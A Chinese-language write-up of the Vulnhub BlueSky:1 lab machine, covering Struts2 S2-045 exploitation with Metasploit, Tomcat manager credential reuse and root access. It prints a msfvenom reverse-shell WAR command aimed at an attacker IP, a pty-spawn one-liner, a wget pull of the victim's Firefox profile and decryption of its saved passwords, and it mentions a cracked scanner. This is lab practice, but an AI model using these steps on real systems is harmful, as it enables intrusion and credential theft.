Difficulty: Easy
Goal: Get the root shell i.e.(root@localhost:~#) and then obtain flag under /root).
信息收集
先探测主机存活:
|
|
获得靶机地址192.168.150.129
然后进行端口扫描获得服务信息:
|
|
扫描结果
|
|
扫到靶机开启了22和8080端口,分别是ssh和web服务,且web服务使用了Tomcat中间件。
渗透过程
struts2漏洞利用
尝试爆破ssh失败,那就直接从web服务入手。
服务支持通过密码认证登陆管理员,尝试弱口令,失败。
接下来由于字典不行,扫目录没结果,直接找答案:struts2-showcase/
,访问进入web目录。
根据AWVS13.X破解版 Windows、Linux、Docker使用AWVS扫描站点,扫到挺多高危的,直接使用msf攻击s2-045
|
|
利用成功。读取根目录user.txt
Try your best, you have passed the first challenge, and the last one is for you, root me!
提权
读取tomcat用户配置文件(/usr/local/tomcat/conf/tomcat-users.xml
)获得管理员账号
|
|
登录tomcat管理员,管理员拥有删除目录和上传war包添加目录等权限。
这里可以很自然的想到上传文件getshell,之所以还要getshell是因为meterpreter无法支持某些命令(如sudo、python),我们还需要一个完整的shell执行sudo或执行其他命令从而读取/root
下的文件。
当然,现在暂时还不需要执行什么特殊的命令,就继续使用meterpreter吧。
读取.bash_history
获取信息用户进入过.mozilla/firefox/
不同版本的Firefox密钥文件的位置不同,具体区别如下:
- Version小于58.0.2,密钥文件为key3.db
- Version大于等于58.0.2,密钥文件为key4.db
而firefox目录下fvbljmev.default-release
目录存在key4.db,我们可以通过该文件获得密钥。
按照文章的解密方法,不管什么方法似乎都不能在meterpreter上使用,所以我们还是要获得一个完整的shell。
运行命令生成war包
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.150.128 LPOST=4444 -f war > reverse.war
将shell打包后上传,tomcat管理员可以获得路径信息/reverse
,然后访问反弹shell。
使用python3 -c 'import pty; pty.spawn("/bin/bash")'
生成交互式终端。
使用firefox_decrypt解密key4.db获得密码:
1、由于靶机没有git,所以只能下载靶机文件到本地
1 2 3 4
# 靶机 python3 -m http.server 8090 # 在8090开启web服务 # 攻击机 wget -r 192.168.150.129:8090/ # 下载靶机firefox目录文件
2、使用firefox_decrypt解密
1
python3 firefox_decrypt-master/firefox_decrypt.py 192.168.150.129:8090/
获得密码
skysayohyeah
除了上面的下载方法,我们其实还可以使用冰蝎或其他webshell管理工具上传解密工具或下载文件,这里就不多说了。
最后直接sudo读取root.txt文件sudo cat /root/root.txt
完成任务。
参考
https://medium.com/@jhnbsh/vulnhub-bluesky-1-write-up-4f16171e3c1e